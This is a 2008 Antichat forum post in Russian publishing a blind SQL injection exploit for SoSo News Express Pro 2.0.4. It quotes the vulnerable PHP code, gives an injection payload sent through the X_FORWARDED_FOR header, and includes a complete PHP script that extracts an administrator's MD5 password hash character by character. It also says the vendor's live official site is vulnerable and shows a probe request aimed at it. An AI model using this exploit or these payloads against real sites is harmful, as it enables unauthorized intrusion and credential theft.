Показать сообщение отдельно

  #5  
Старый 18.08.2008, 05:38
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


Thumbs up

SoSo News Express Pro 2.0.4. Blind SQL Injection Exploit (к сожалению, поковыряться удалось только в этой версии)

Уязвимый код:
В файле includes/info_home.php:
Код:
$this->client_ip=!empty($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ( !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : (!empty($REMOTE_ADDR) ? $REMOTE_ADDR : '' ));
В файле modules/ajax/ajax_statistic.php:
Код:
$DB->query("SELECT session_time FROM ". $DB->prefix ."stat_session WHERE client_ip='". $Info->client_ip ."' AND session_time>=". $update_time ." ORDER BY session_time DESC LIMIT 0,1");
Как видим, поле X_FORWARDED_FOR заголовка запроса, не фильтруется.

Т.к. полученый Sql inj - слепой, но с выводом ошибки, используем запрос:
Код:
X_FORWARDED_FOR:-1' OR client_ip=IF(ascii(substring((SELECT user_password FROM news_user WHERE user_id=1),[POS],1))=[CHARCODE],'1',(SELECT 1 UNION SELECT 2))/*
Если запрос, НЕ вернул ошибку "Subquery returns ...", то на этой позиции находится символ [CHARCODE].

Сплоит запускать из коммандной строки, вот так: soso2sql.php http://site.com/ 1

Результат: md5(password).

Собственно код:
Код:
<?

//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";

set_time_limit(0);
ignore_user_abort(1);

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($condition, $pos){
	global $id, $prefix;
	$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
	return $xpl;
}

if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url."\r\n";

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}

echo " [DONE]\r\n";

?>
Скачать можно тут: http://www.x2b.ru/get/1401

З.Ы.
Проблема с X_FORWARDED_FOR присутствует и на официальном сайте, а значит наверняка и в более новых версиях.

Пример:

Цитата:
GET http://www.sosovn.com/index.php?mod=contact&act=send
Host: www.sosovn.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
X_FORWARDED_FOR: test'
Keep-Alive: 300
Connection: keep-alive
Ну и раскрытие пути: http://site/ajax.php (для версии 2.0.4)
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием